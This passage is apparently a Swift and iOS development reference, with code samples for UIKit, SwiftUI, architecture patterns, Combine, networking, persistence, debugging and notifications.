        return self == String(self.reversed())
    }
}

import UIKit

class MainViewController: UIViewController {

    // MARK: - Properties

    private let titleLabel: UILabel = {
        let label = UILabel()
        label.text = "Welcome"
        label.font = UIFont.systemFont(ofSize: 24, weight: .bold)
        label.textAlignment = .center
        label.translatesAutoresizingMaskIntoConstraints = false
        return label
    }()

    private let actionButton: UIButton = {
        let button = UIButton(type: .system)
        button.setTitle("Tap Me", for: .normal)
        button.translatesAutoresizingMaskIntoConstraints = false
        return button
    }()

    // MARK: - Lifecycle

    override func viewDidLoad() {
        super.viewDidLoad()
        setupUI()
        setupConstraints()
    }

    override func viewWillAppear(_ animated: Bool) {
        super.viewWillAppear(animated)
        // View is about to appear
    }

    override func viewDidAppear(_ animated: Bool) {
        super.viewDidAppear(animated)
        // View did appear
    }

    override func viewWillDisappear(_ animated: Bool) {
        super.viewWillDisappear(animated)
        // View is about to disappear
    }

    override func viewDidDisappear(_ animated: Bool) {
        super.viewDidDisappear(animated)
        // View did disappear
    }

    // MARK: - Setup

    private func setupUI() {
        view.backgroundColor = .systemBackground
        view.addSubview(titleLabel)
        view.addSubview(actionButton)

        actionButton.addTarget(self, action: #selector(handleButtonTap), for: .touchUpInside)
    }

    private func setupConstraints() {
        NSLayoutConstraint.activate([
            titleLabel.centerXAnchor.constraint(equalTo: view.centerXAnchor),
            titleLabel.topAnchor.constraint(equalTo: view.safeAreaLayoutGuide.topAnchor, constant: 50),

            actionButton.centerXAnchor.constraint(equalTo: view.centerXAnchor),
            actionButton.centerYAnchor.constraint(equalTo: view.centerYAnchor)
        ])
    }

    // MARK: - Actions

    @objc private func handleButtonTap() {
        print("Button tapped")
        titleLabel.text = "Button Tapped!"
    }
}

// Push view controller
let detailVC = DetailViewController()
navigationController?.pushViewController(detailVC, animated: true)

// Pop view controller
navigationController?.popViewController(animated: true)

// Pop to root
navigationController?.popToRootViewController(animated: true)

// Present modally
let modalVC = ModalViewController()
modalVC.modalPresentationStyle = .fullScreen
present(modalVC, animated: true, completion: nil)

// Dismiss modal
dismiss(animated: true, completion: nil)

// Pass data between view controllers
let detailVC = DetailViewController()
detailVC.userId = 123
detailVC.userName = "John"
navigationController?.pushViewController(detailVC, animated: true)

class UsersViewController: UIViewController {

    private var users: [User] = []

    private lazy var tableView: UITableView = {
        let table = UITableView()
        table.delegate = self
        table.dataSource = self
        table.register(UITableViewCell.self, forCellReuseIdentifier: "cell")
        table.translatesAutoresizingMaskIntoConstraints = false
        return table
    }()

    override func viewDidLoad() {
        super.viewDidLoad()

        view.addSubview(tableView)
        NSLayoutConstraint.activate([
            tableView.topAnchor.constraint(equalTo: view.topAnchor),
            tableView.leadingAnchor.constraint(equalTo: view.leadingAnchor),
            tableView.trailingAnchor.constraint(equalTo: view.trailingAnchor),
            tableView.bottomAnchor.constraint(equalTo: view.bottomAnchor)
        ])

        loadUsers()
    }

    private func loadUsers() {
        users = [
            User(id: 1, name: "John"),
            User(id: 2, name: "Jane"),
            User(id: 3, name: "Bob")
        ]
        tableView.reloadData()
    }
}

// MARK: - UITableViewDataSource

extension UsersViewController: UITableViewDataSource {

    func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
        return users.count
    }

    func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
        let cell = tableView.dequeueReusableCell(withIdentifier: "cell", for: indexPath)
        let user = users[indexPath.row]
        cell.textLabel?.text = user.name
        return cell
    }
}

// MARK: - UITableViewDelegate

extension UsersViewController: UITableViewDelegate {

    func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
        tableView.deselectRow(at: indexPath, animated: true)
        let user = users[indexPath.row]
        print("Selected user: \(user.name)")
    }

    func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat {
        return 60
    }
}

class PhotosViewController: UIViewController {

    private var photos: [Photo] = []

    private lazy var collectionView: UICollectionView = {
        let layout = UICollectionViewFlowLayout()
        layout.itemSize = CGSize(width: 100, height: 100)
        layout.minimumInteritemSpacing = 10
        layout.minimumLineSpacing = 10

        let cv = UICollectionView(frame: .zero, collectionViewLayout: layout)
        cv.delegate = self
        cv.dataSource = self
        cv.register(PhotoCell.self, forCellWithReuseIdentifier: "PhotoCell")
        cv.translatesAutoresizingMaskIntoConstraints = false
        cv.backgroundColor = .systemBackground
        return cv
    }()

    override func viewDidLoad() {
        super.viewDidLoad()

        view.addSubview(collectionView)
        NSLayoutConstraint.activate([
            collectionView.topAnchor.constraint(equalTo: view.topAnchor),
            collectionView.leadingAnchor.constraint(equalTo: view.leadingAnchor),
            collectionView.trailingAnchor.constraint(equalTo: view.trailingAnchor),
            collectionView.bottomAnchor.constraint(equalTo: view.bottomAnchor)
        ])
    }
}

// MARK: - UICollectionViewDataSource

extension PhotosViewController: UICollectionViewDataSource {

    func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int {
        return photos.count
    }

    func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell {
        let cell = collectionView.dequeueReusableCell(withReuseIdentifier: "PhotoCell", for: indexPath) as! PhotoCell
        cell.configure(with: photos[indexPath.item])
        return cell
    }
}

// MARK: - UICollectionViewDelegate

extension PhotosViewController: UICollectionViewDelegate {

    func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {
        let photo = photos[indexPath.item]
        print("Selected photo: \(photo.title)")
    }
}

// Custom Cell
class PhotoCell: UICollectionViewCell {

    private let imageView: UIImageView = {
        let iv = UIImageView()
        iv.contentMode = .scaleAspectFill
        iv.clipsToBounds = true
        iv.translatesAutoresizingMaskIntoConstraints = false
        return iv
    }()

    override init(frame: CGRect) {
        super.init(frame: frame)
        contentView.addSubview(imageView)
        NSLayoutConstraint.activate([
            imageView.topAnchor.constraint(equalTo: contentView.topAnchor),
            imageView.leadingAnchor.constraint(equalTo: contentView.leadingAnchor),
            imageView.trailingAnchor.constraint(equalTo: contentView.trailingAnchor),
            imageView.bottomAnchor.constraint(equalTo: contentView.bottomAnchor)
        ])
    }

    required init?(coder: NSCoder) {
        fatalError("init(coder:) has not been implemented")
    }

    func configure(with photo: Photo) {
        imageView.image = UIImage(named: photo.imageName)
    }
}

import SwiftUI

// Simple view
struct ContentView: View {
    @State private var name = ""
    @State private var isToggled = false

    var body: some View {
        VStack(spacing: 20) {
            Text("Hello, SwiftUI!")
                .font(.title)
                .foregroundColor(.blue)

            TextField("Enter name", text: $name)
                .textFieldStyle(RoundedBorderTextFieldStyle())
                .padding()

            Text("Hello, \(name)!")

            Toggle("Switch", isOn: $isToggled)
                .padding()

            Button("Tap Me") {
                print("Button tapped")
            }
            .buttonStyle(.borderedProminent)
        }
        .padding()
    }
}

// Preview
struct ContentView_Previews: PreviewProvider {
    static var previews: some View {
        ContentView()
    }
}

// @State - Local state
struct CounterView: View {
    @State private var count = 0

    var body: some View {
        VStack {
            Text("Count: \(count)")
                .font(.largeTitle)

            Button("Increment") {
                count += 1
            }
        }
    }
}

// @Binding - Shared state
struct ParentView: View {
    @State private var text = ""

    var body: some View {
        VStack {
            TextField("Enter text", text: $text)
            ChildView(text: $text)
        }
    }
}

struct ChildView: View {
    @Binding var text: String

    var body: some View {
        Text("You typed: \(text)")
    }
}

// ObservableObject - Complex state
class UserViewModel: ObservableObject {
    @Published var users: [User] = []
    @Published var isLoading = false

    func fetchUsers() {
        isLoading = true
        // Fetch users from API
        DispatchQueue.main.asyncAfter(deadline: .now() + 1) {
            self.users = [
                User(id: 1, name: "John"),
                User(id: 2, name: "Jane")
            ]
            self.isLoading = false
        }
    }
}

struct UsersView: View {
    @StateObject private var viewModel = UserViewModel()

    var body: some View {
        List(viewModel.users, id: \.id) { user in
            Text(user.name)
        }
        .onAppear {
            viewModel.fetchUsers()
        }
        .overlay {
            if viewModel.isLoading {
                ProgressView()
            }
        }
    }
}

// @EnvironmentObject - Shared across views
class AppState: ObservableObject {
    @Published var isLoggedIn = false
    @Published var currentUser: User?
}

@main
struct MyApp: App {
    @StateObject private var appState = AppState()

    var body: some Scene {
        WindowGroup {
            ContentView()
                .environmentObject(appState)
        }
    }
}

struct ProfileView: View {
    @EnvironmentObject var appState: AppState

    var body: some View {
        if let user = appState.currentUser {
            Text("Welcome, \(user.name)")
        }
    }
}

struct User: Identifiable {
    let id: Int
    let name: String
    let email: String
}

struct UserListView: View {
    let users = [
        User(id: 1, name: "John Doe", email: "john@example.com"),
        User(id: 2, name: "Jane Smith", email: "jane@example.com"),
        User(id: 3, name: "Bob Johnson", email: "bob@example.com")
    ]

    var body: some View {
        NavigationView {
            List(users) { user in
                NavigationLink(destination: UserDetailView(user: user)) {
                    UserRow(user: user)
                }
            }
            .navigationTitle("Users")
            .navigationBarTitleDisplayMode(.large)
        }
    }
}

struct UserRow: View {
    let user: User

    var body: some View {
        VStack(alignment: .leading, spacing: 5) {
            Text(user.name)
                .font(.headline)
            Text(user.email)
                .font(.subheadline)
                .foregroundColor(.secondary)
        }
        .padding(.vertical, 4)
    }
}

struct UserDetailView: View {
    let user: User

    var body: some View {
        VStack(spacing: 20) {
            Image(systemName: "person.circle.fill")
                .resizable()
                .frame(width: 100, height: 100)
                .foregroundColor(.blue)

            Text(user.name)
                .font(.title)

            Text(user.email)
                .font(.subheadline)
                .foregroundColor(.secondary)
        }
        .navigationTitle("Profile")
        .navigationBarTitleDisplayMode(.inline)
    }
}

struct SettingsView: View {
    @State private var username = ""
    @State private var email = ""
    @State private var enableNotifications = true
    @State private var selectedTheme = "Light"
    @State private var fontSize: Double = 14

    let themes = ["Light", "Dark", "Auto"]

    var body: some View {
        NavigationView {
            Form {
                Section(header: Text("Account")) {
                    TextField("Username", text: $username)
                    TextField("Email", text: $email)
                        .keyboardType(.emailAddress)
                        .autocapitalization(.none)
                }

                Section(header: Text("Preferences")) {
                    Toggle("Enable Notifications", isOn: $enableNotifications)

                    Picker("Theme", selection: $selectedTheme) {
                        ForEach(themes, id: \.self) { theme in
                            Text(theme)
                        }
                    }

                    VStack {
                        Text("Font Size: \(Int(fontSize))")
                        Slider(value: $fontSize, in: 10...24, step: 1)
                    }
                }

                Section {
                    Button("Save Changes") {
                        saveSettings()
                    }

                    Button("Reset to Defaults", role: .destructive) {
                        resetSettings()
                    }
                }
            }
            .navigationTitle("Settings")
        }
    }

    private func saveSettings() {
        print("Settings saved")
    }

    private func resetSettings() {
        username = ""
        email = ""
        enableNotifications = true
        selectedTheme = "Light"
        fontSize = 14
    }
}

import SwiftUI
import UIKit

// Wrap UIKit view in SwiftUI
struct UIKitTextView: UIViewRepresentable {
    @Binding var text: String

    func makeUIView(context: Context) -> UITextView {
        let textView = UITextView()
        textView.delegate = context.coordinator
        textView.font = UIFont.systemFont(ofSize: 16)
        return textView
    }

    func updateUIView(_ uiView: UITextView, context: Context) {
        uiView.text = text
    }

    func makeCoordinator() -> Coordinator {
        Coordinator(self)
    }

    class Coordinator: NSObject, UITextViewDelegate {
        var parent: UIKitTextView

        init(_ parent: UIKitTextView) {
            self.parent = parent
        }

        func textViewDidChange(_ textView: UITextView) {
            parent.text = textView.text
        }
    }
}

// Usage
struct ContentView: View {
    @State private var text = ""

    var body: some View {
        UIKitTextView(text: $text)
            .frame(height: 200)
    }
}

import UIKit
import SwiftUI

class ViewController: UIViewController {

    override func viewDidLoad() {
        super.viewDidLoad()

        // Embed SwiftUI view in UIKit
        let swiftUIView = MySwiftUIView()
        let hostingController = UIHostingController(rootView: swiftUIView)

        addChild(hostingController)
        view.addSubview(hostingController.view)
        hostingController.view.translatesAutoresizingMaskIntoConstraints = false

        NSLayoutConstraint.activate([
            hostingController.view.topAnchor.constraint(equalTo: view.topAnchor),
            hostingController.view.leadingAnchor.constraint(equalTo: view.leadingAnchor),
            hostingController.view.trailingAnchor.constraint(equalTo: view.trailingAnchor),
            hostingController.view.bottomAnchor.constraint(equalTo: view.bottomAnchor)
        ])

        hostingController.didMove(toParent: self)
    }
}

struct MySwiftUIView: View {
    var body: some View {
        VStack {
            Text("SwiftUI View")
            Button("Tap Me") {
                print("Button tapped")
            }
        }
    }
}

// Model
struct User {
    let id: Int
    let name: String
    let email: String
}

// View (typically in Storyboard or SwiftUI)
class UserView: UIView {
    let nameLabel = UILabel()
    let emailLabel = UILabel()

    func configure(with user: User) {
        nameLabel.text = user.name
        emailLabel.text = user.email
    }
}

// Controller
class UserViewController: UIViewController {

    private var user: User?
    private let userView = UserView()

    override func viewDidLoad() {
        super.viewDidLoad()
        fetchUser()
    }

    private func fetchUser() {
        // Fetch user from service
        NetworkService.shared.getUser(id: 1) { [weak self] result in
            switch result {
            case .success(let user):
                self?.user = user
                self?.updateView()
            case .failure(let error):
                self?.showError(error)
            }
        }
    }

    private func updateView() {
        guard let user = user else { return }
        userView.configure(with: user)
    }

    private func showError(_ error: Error) {
        // Show error alert
    }
}

// Model
struct User: Codable {
    let id: Int
    let name: String
    let email: String
}

// ViewModel
class UserViewModel: ObservableObject {
    @Published var user: User?
    @Published var isLoading = false
    @Published var errorMessage: String?

    private let networkService: NetworkService

    init(networkService: NetworkService = .shared) {
        self.networkService = networkService
    }

    func fetchUser(id: Int) async {
        isLoading = true
        errorMessage = nil

        do {
            user = try await networkService.getUser(id: id)
        } catch {
            errorMessage = error.localizedDescription
        }

        isLoading = false
    }

    var displayName: String {
        user?.name ?? "Unknown"
    }

    var displayEmail: String {
        user?.email ?? "No email"
    }
}

// View (SwiftUI)
struct UserView: View {
    @StateObject private var viewModel = UserViewModel()

    var body: some View {
        VStack {
            if viewModel.isLoading {
                ProgressView()
            } else if let error = viewModel.errorMessage {
                Text("Error: \(error)")
                    .foregroundColor(.red)
            } else {
                VStack(alignment: .leading) {
                    Text(viewModel.displayName)
                        .font(.title)
                    Text(viewModel.displayEmail)
                        .font(.subheadline)
                }
            }
        }
        .task {
            await viewModel.fetchUser(id: 1)
        }
    }
}

// View (UIKit)
class UserViewController: UIViewController {

    private let viewModel = UserViewModel()
    private var cancellables = Set<AnyCancellable>()

    private let nameLabel = UILabel()
    private let emailLabel = UILabel()
    private let activityIndicator = UIActivityIndicatorView()

    override func viewDidLoad() {
        super.viewDidLoad()
        setupBindings()
        Task {
            await viewModel.fetchUser(id: 1)
        }
    }

    private func setupBindings() {
        viewModel.$user
            .receive(on: DispatchQueue.main)
            .sink { [weak self] user in
                self?.nameLabel.text = self?.viewModel.displayName
                self?.emailLabel.text = self?.viewModel.displayEmail
            }
            .store(in: &cancellables)

        viewModel.$isLoading
            .receive(on: DispatchQueue.main)
            .sink { [weak self] isLoading in
                isLoading ? self?.activityIndicator.startAnimating() : self?.activityIndicator.stopAnimating()
            }
            .store(in: &cancellables)
    }
}

// Entity
struct User {
    let id: Int
    let name: String
    let email: String
}

// Interactor
protocol UserInteractorProtocol {
    func fetchUser(id: Int) async throws -> User
}

class UserInteractor: UserInteractorProtocol {
    private let networkService: NetworkService

    init(networkService: NetworkService = .shared) {
        self.networkService = networkService
    }

    func fetchUser(id: Int) async throws -> User {
        return try await networkService.getUser(id: id)
    }
}

// Presenter
protocol UserPresenterProtocol {
    func viewDidLoad()
    func formatUserName(_ name: String) -> String
}

class UserPresenter: UserPresenterProtocol {
    weak var view: UserViewProtocol?
    var interactor: UserInteractorProtocol?
    var router: UserRouterProtocol?

    func viewDidLoad() {
        Task {
            view?.showLoading()
            do {
                let user = try await interactor?.fetchUser(id: 1)
                view?.hideLoading()
                if let user = user {
                    view?.displayUser(user)
                }
            } catch {
                view?.hideLoading()
                view?.displayError(error.localizedDescription)
            }
        }
    }

    func formatUserName(_ name: String) -> String {
        return name.uppercased()
    }
}

// View
protocol UserViewProtocol: AnyObject {
    func displayUser(_ user: User)
    func displayError(_ message: String)
    func showLoading()
    func hideLoading()
}

class UserViewController: UIViewController, UserViewProtocol {
    var presenter: UserPresenterProtocol?

    private let nameLabel = UILabel()
    private let emailLabel = UILabel()

    override func viewDidLoad() {
        super.viewDidLoad()
        presenter?.viewDidLoad()
    }

    func displayUser(_ user: User) {
        nameLabel.text = presenter?.formatUserName(user.name)
        emailLabel.text = user.email
    }

    func displayError(_ message: String) {
        // Show error
    }

    func showLoading() {
        // Show loading indicator
    }

    func hideLoading() {
        // Hide loading indicator
    }
}

// Router
protocol UserRouterProtocol {
    static func createModule() -> UIViewController
    func navigateToDetail(user: User)
}

class UserRouter: UserRouterProtocol {
    weak var viewController: UIViewController?

    static func createModule() -> UIViewController {
        let view = UserViewController()
        let presenter = UserPresenter()
        let interactor = UserInteractor()
        let router = UserRouter()

        view.presenter = presenter
        presenter.view = view
        presenter.interactor = interactor
        presenter.router = router
        router.viewController = view

        return view
    }

    func navigateToDetail(user: User) {
        // Navigate to detail screen
    }
}

// Coordinator Protocol
protocol Coordinator {
    var navigationController: UINavigationController { get set }
    func start()
}

// App Coordinator
class AppCoordinator: Coordinator {
    var navigationController: UINavigationController

    init(navigationController: UINavigationController) {
        self.navigationController = navigationController
    }

    func start() {
        showUserList()
    }

    func showUserList() {
        let viewController = UserListViewController()
        viewController.coordinator = self
        navigationController.pushViewController(viewController, animated: false)
    }

    func showUserDetail(user: User) {
        let viewController = UserDetailViewController(user: user)
        viewController.coordinator = self
        navigationController.pushViewController(viewController, animated: true)
    }

    func showSettings() {
        let settingsCoordinator = SettingsCoordinator(navigationController: navigationController)
        settingsCoordinator.start()
    }
}

// View Controller
class UserListViewController: UIViewController {
    weak var coordinator: AppCoordinator?

    private func didSelectUser(_ user: User) {
        coordinator?.showUserDetail(user: user)
    }
}

// App Delegate
class AppDelegate: UIResponder, UIApplicationDelegate {
    var window: UIWindow?
    var appCoordinator: AppCoordinator?

    func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {
        window = UIWindow(frame: UIScreen.main.bounds)
        let navigationController = UINavigationController()

        appCoordinator = AppCoordinator(navigationController: navigationController)
        appCoordinator?.start()

        window?.rootViewController = navigationController
        window?.makeKeyAndVisible()

        return true
    }
}

// Protocol-based dependency injection
protocol NetworkServiceProtocol {
    func fetchData() async throws -> Data
}

class NetworkService: NetworkServiceProtocol {
    func fetchData() async throws -> Data {
        // Real implementation
        return Data()
    }
}

class MockNetworkService: NetworkServiceProtocol {
    func fetchData() async throws -> Data {
        // Mock implementation for testing
        return Data()
    }
}

// Constructor injection
class UserViewModel {
    private let networkService: NetworkServiceProtocol

    init(networkService: NetworkServiceProtocol) {
        self.networkService = networkService
    }

    func loadData() async {
        do {
            let data = try await networkService.fetchData()
            // Process data
        } catch {
            // Handle error
        }
    }
}

// Usage
let viewModel = UserViewModel(networkService: NetworkService())

// Testing
let testViewModel = UserViewModel(networkService: MockNetworkService())

// Property injection
class UserViewController: UIViewController {
    var networkService: NetworkServiceProtocol = NetworkService()

    func fetchData() {
        Task {
            _ = try await networkService.fetchData()
        }
    }
}

// Dependency injection container
class DependencyContainer {
    static let shared = DependencyContainer()

    private init() {}

    lazy var networkService: NetworkServiceProtocol = {
        return NetworkService()
    }()

    func makeUserViewModel() -> UserViewModel {
        return UserViewModel(networkService: networkService)
    }
}

// Usage
let viewModel = DependencyContainer.shared.makeUserViewModel()

import Combine

// Simple publisher
let publisher = Just("Hello, Combine!")

let cancellable = publisher.sink { value in
    print(value)  // Prints: Hello, Combine!
}

// Publisher from array
let numbers = [1, 2, 3, 4, 5].publisher

numbers.sink { value in
    print(value)
}

// Subject - publisher you can send values to
let subject = PassthroughSubject<String, Never>()

subject.sink { value in
    print("Received: \(value)")
}

subject.send("First")
subject.send("Second")
subject.send(completion: .finished)

// CurrentValueSubject - holds current value
let currentValue = CurrentValueSubject<Int, Never>(0)

currentValue.sink { value in
    print("Current value: \(value)")
}

currentValue.send(10)
currentValue.send(20)
print("Last value: \(currentValue.value)")

import Combine

var cancellables = Set<AnyCancellable>()

// Map
[1, 2, 3, 4, 5].publisher
    .map { $0 * 2 }
    .sink { print($0) }
    .store(in: &cancellables)

// Filter
[1, 2, 3, 4, 5].publisher
    .filter { $0 % 2 == 0 }
    .sink { print($0) }  // Prints: 2, 4
    .store(in: &cancellables)

// Reduce
[1, 2, 3, 4, 5].publisher
    .reduce(0, +)
    .sink { print($0) }  // Prints: 15
    .store(in: &cancellables)

// FlatMap
struct User {
    let id: Int
    let name: String
}

func fetchUser(id: Int) -> AnyPublisher<User, Error> {
    Just(User(id: id, name: "User \(id)"))
        .setFailureType(to: Error.self)
        .eraseToAnyPublisher()
}

[1, 2, 3].publisher
    .setFailureType(to: Error.self)
    .flatMap { fetchUser(id: $0) }
    .sink(
        receiveCompletion: { _ in },
        receiveValue: { print($0.name) }
    )
    .store(in: &cancellables)

// CombineLatest
let publisher1 = PassthroughSubject<String, Never>()
let publisher2 = PassthroughSubject<String, Never>()

publisher1.combineLatest(publisher2)
    .sink { value1, value2 in
        print("\(value1) - \(value2)")
    }
    .store(in: &cancellables)

publisher1.send("A")
publisher2.send("1")  // Prints: A - 1
publisher1.send("B")  // Prints: B - 1
publisher2.send("2")  // Prints: B - 2

// Debounce (useful for search)
let searchPublisher = PassthroughSubject<String, Never>()

searchPublisher
    .debounce(for: .milliseconds(300), scheduler: DispatchQueue.main)
    .removeDuplicates()
    .sink { searchText in
        print("Searching for: \(searchText)")
    }
    .store(in: &cancellables)

import Combine
import Foundation

class APIService {

    func fetchUsers() -> AnyPublisher<[User], Error> {
        guard let url = URL(string: "https://api.example.com/users") else {
            return Fail(error: URLError(.badURL))
                .eraseToAnyPublisher()
        }

        return URLSession.shared.dataTaskPublisher(for: url)
            .map(\.data)
            .decode(type: [User].self, decoder: JSONDecoder())
            .receive(on: DispatchQueue.main)
            .eraseToAnyPublisher()
    }
}

// Usage
class UserViewModel: ObservableObject {
    @Published var users: [User] = []
    @Published var isLoading = false
    @Published var errorMessage: String?

    private let apiService = APIService()
    private var cancellables = Set<AnyCancellable>()

    func loadUsers() {
        isLoading = true

        apiService.fetchUsers()
            .sink { [weak self] completion in
                self?.isLoading = false
                if case .failure(let error) = completion {
                    self?.errorMessage = error.localizedDescription
                }
            } receiveValue: { [weak self] users in
                self?.users = users
            }
            .store(in: &cancellables)
    }
}

import Combine

class FormViewModel: ObservableObject {
    @Published var username = ""
    @Published var email = ""
    @Published var password = ""
    @Published var confirmPassword = ""

    @Published var isValid = false

    private var cancellables = Set<AnyCancellable>()

    init() {
        // Validate form when any field changes
        Publishers.CombineLatest4($username, $email, $password, $confirmPassword)
            .map { username, email, password, confirmPassword in
                return !username.isEmpty &&
                       email.contains("@") &&
                       password.count >= 8 &&
                       password == confirmPassword
            }
            .assign(to: &$isValid)
    }
}

import Foundation

// GET Request
func fetchUsers(completion: @escaping (Result<[User], Error>) -> Void) {
    guard let url = URL(string: "https://api.example.com/users") else {
        completion(.failure(NSError(domain: "", code: -1, userInfo: [NSLocalizedDescriptionKey: "Invalid URL"])))
        return
    }

    URLSession.shared.dataTask(with: url) { data, response, error in
        if let error = error {
            completion(.failure(error))
            return
        }

        guard let httpResponse = response as? HTTPURLResponse,
              (200...299).contains(httpResponse.statusCode) else {
            completion(.failure(NSError(domain: "", code: -1, userInfo: [NSLocalizedDescriptionKey: "Invalid response"])))
            return
        }

        guard let data = data else {
            completion(.failure(NSError(domain: "", code: -1, userInfo: [NSLocalizedDescriptionKey: "No data"])))
            return
        }

        do {
            let users = try JSONDecoder().decode([User].self, from: data)
            completion(.success(users))
        } catch {
            completion(.failure(error))
        }
    }.resume()
}

// POST Request
func createUser(user: User, completion: @escaping (Result<User, Error>) -> Void) {
    guard let url = URL(string: "https://api.example.com/users") else { return }

    var request = URLRequest(url: url)
    request.httpMethod = "POST"
    request.setValue("application/json", forHTTPHeaderField: "Content-Type")

    do {
        let jsonData = try JSONEncoder().encode(user)
        request.httpBody = jsonData
    } catch {
        completion(.failure(error))
        return
    }

    URLSession.shared.dataTask(with: request) { data, response, error in
        if let error = error {
            completion(.failure(error))
            return
        }

        guard let data = data else { return }

        do {
            let createdUser = try JSONDecoder().decode(User.self, from: data)
            completion(.success(createdUser))
        } catch {
            completion(.failure(error))
        }
    }.resume()
}

// Async/Await (iOS 15+)
func fetchUsers() async throws -> [User] {
    guard let url = URL(string: "https://api.example.com/users") else {
        throw URLError(.badURL)
    }

    let (data, response) = try await URLSession.shared.data(from: url)

    guard let httpResponse = response as? HTTPURLResponse,
          (200...299).contains(httpResponse.statusCode) else {
        throw URLError(.badServerResponse)
    }

    let users = try JSONDecoder().decode([User].self, from: data)
    return users
}

// Usage with async/await
Task {
    do {
        let users = try await fetchUsers()
        print("Fetched \(users.count) users")
    } catch {
        print("Error: \(error)")
    }
}

class NetworkService {

    static let shared = NetworkService()

    private init() {}

    func request<T: Decodable>(
        url: URL,
        method: String = "GET",
        body: Data? = nil,
        headers: [String: String]? = nil
    ) async throws -> T {
        var request = URLRequest(url: url)
        request.httpMethod = method
        request.httpBody = body

        headers?.forEach { key, value in
            request.setValue(value, forHTTPHeaderField: key)
        }

        let (data, response) = try await URLSession.shared.data(for: request)

        guard let httpResponse = response as? HTTPURLResponse,
              (200...299).contains(httpResponse.statusCode) else {
            throw URLError(.badServerResponse)
        }

        return try JSONDecoder().decode(T.self, from: data)
    }
}

// Usage
struct APIEndpoints {
    static let baseURL = "https://api.example.com"

    static func users() -> URL {
        URL(string: "\(baseURL)/users")!
    }

    static func user(id: Int) -> URL {
        URL(string: "\(baseURL)/users/\(id)")!
    }
}

Task {
    let users: [User] = try await NetworkService.shared.request(url: APIEndpoints.users())
    print(users)
}

// Save data
UserDefaults.standard.set("John", forKey: "username")
UserDefaults.standard.set(25, forKey: "age")
UserDefaults.standard.set(true, forKey: "isLoggedIn")

// Retrieve data
let username = UserDefaults.standard.string(forKey: "username")
let age = UserDefaults.standard.integer(forKey: "age")
let isLoggedIn = UserDefaults.standard.bool(forKey: "isLoggedIn")

// Remove data
UserDefaults.standard.removeObject(forKey: "username")

// Save custom objects
struct Settings: Codable {
    var theme: String
    var notifications: Bool
}

let settings = Settings(theme: "dark", notifications: true)
if let encoded = try? JSONEncoder().encode(settings) {
    UserDefaults.standard.set(encoded, forKey: "settings")
}

// Retrieve custom objects
if let data = UserDefaults.standard.data(forKey: "settings"),
   let settings = try? JSONDecoder().decode(Settings.self, from: data) {
    print(settings.theme)
}

// Get documents directory
func getDocumentsDirectory() -> URL {
    FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0]
}

// Write to file
func saveToFile(text: String, filename: String) {
    let url = getDocumentsDirectory().appendingPathComponent(filename)
    do {
        try text.write(to: url, atomically: true, encoding: .utf8)
    } catch {
        print("Error writing to file: \(error)")
    }
}

// Read from file
func readFromFile(filename: String) -> String? {
    let url = getDocumentsDirectory().appendingPathComponent(filename)
    do {
        return try String(contentsOf: url, encoding: .utf8)
    } catch {
        print("Error reading file: \(error)")
        return nil
    }
}

// Check if file exists
func fileExists(filename: String) -> Bool {
    let url = getDocumentsDirectory().appendingPathComponent(filename)
    return FileManager.default.fileExists(atPath: url.path)
}

// Delete file
func deleteFile(filename: String) {
    let url = getDocumentsDirectory().appendingPathComponent(filename)
    do {
        try FileManager.default.removeItem(at: url)
    } catch {
        print("Error deleting file: \(error)")
    }
}

import CoreData

// Define Entity (in .xcdatamodeld file)
// Create NSManagedObject subclass

class CoreDataManager {

    static let shared = CoreDataManager()

    lazy var persistentContainer: NSPersistentContainer = {
        let container = NSPersistentContainer(name: "MyApp")
        container.loadPersistentStores { description, error in
            if let error = error {
                fatalError("Unable to load persistent stores: \(error)")
            }
        }
        return container
    }()

    var context: NSManagedObjectContext {
        return persistentContainer.viewContext
    }

    func saveContext() {
        if context.hasChanges {
            do {
                try context.save()
            } catch {
                let error = error as NSError
                fatalError("Unresolved error \(error), \(error.userInfo)")
            }
        }
    }

    // Create
    func createUser(name: String, email: String) {
        let user = User(context: context)
        user.name = name
        user.email = email
        user.createdAt = Date()
        saveContext()
    }

    // Read
    func fetchUsers() -> [User] {
        let request: NSFetchRequest<User> = User.fetchRequest()
        do {
            return try context.fetch(request)
        } catch {
            print("Error fetching users: \(error)")
            return []
        }
    }

    // Update
    func updateUser(user: User, name: String) {
        user.name = name
        saveContext()
    }

    // Delete
    func deleteUser(user: User) {
        context.delete(user)
        saveContext()
    }
}

// Basic print
print("Debug message")

// Print with variables
let name = "John"
let age = 30
print("Name: \(name), Age: \(age)")

// Debug print (only in debug builds)
#if DEBUG
print("Debug build")
#endif

// Custom debug print
func debugLog(_ message: String, file: String = #file, line: Int = #line) {
    #if DEBUG
    print("[\(file):\(line)] \(message)")
    #endif
}

1. Click line number in Xcode to set breakpoint
2. Run app in debug mode (Cmd+R)
3. When breakpoint hits:
   - Step Over: F6
   - Step Into: F7
   - Step Out: F8
   - Continue: Cmd+Ctrl+Y

LLDB Commands:
- po variable         # Print object
- p variable          # Print value
- expr variable = 10  # Change variable
- bt                  # Backtrace
- frame variable      # Show all variables

# Profile app performance
Product > Profile (Cmd+I)

Common Instruments:
- Time Profiler: CPU usage
- Allocations: Memory usage
- Leaks: Memory leaks
- Network: Network activity
- Energy Log: Battery usage

Debug > View Debugging > Capture View Hierarchy

- 3D visualization of view hierarchy
- Inspect view properties
- Find overlapping views
- Identify layout issues

import UserNotifications

// AppDelegate.swift
class AppDelegate: UIResponder, UIApplicationDelegate, UNUserNotificationCenterDelegate {

    func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {

        // Request authorization
        UNUserNotificationCenter.current().delegate = self
        UNUserNotificationCenter.current().requestAuthorization(options: [.alert, .sound, .badge]) { granted, error in
            if granted {
                DispatchQueue.main.async {
                    application.registerForRemoteNotifications()
                }
            }
        }

        return true
    }

    // Called when APNs successfully registered device
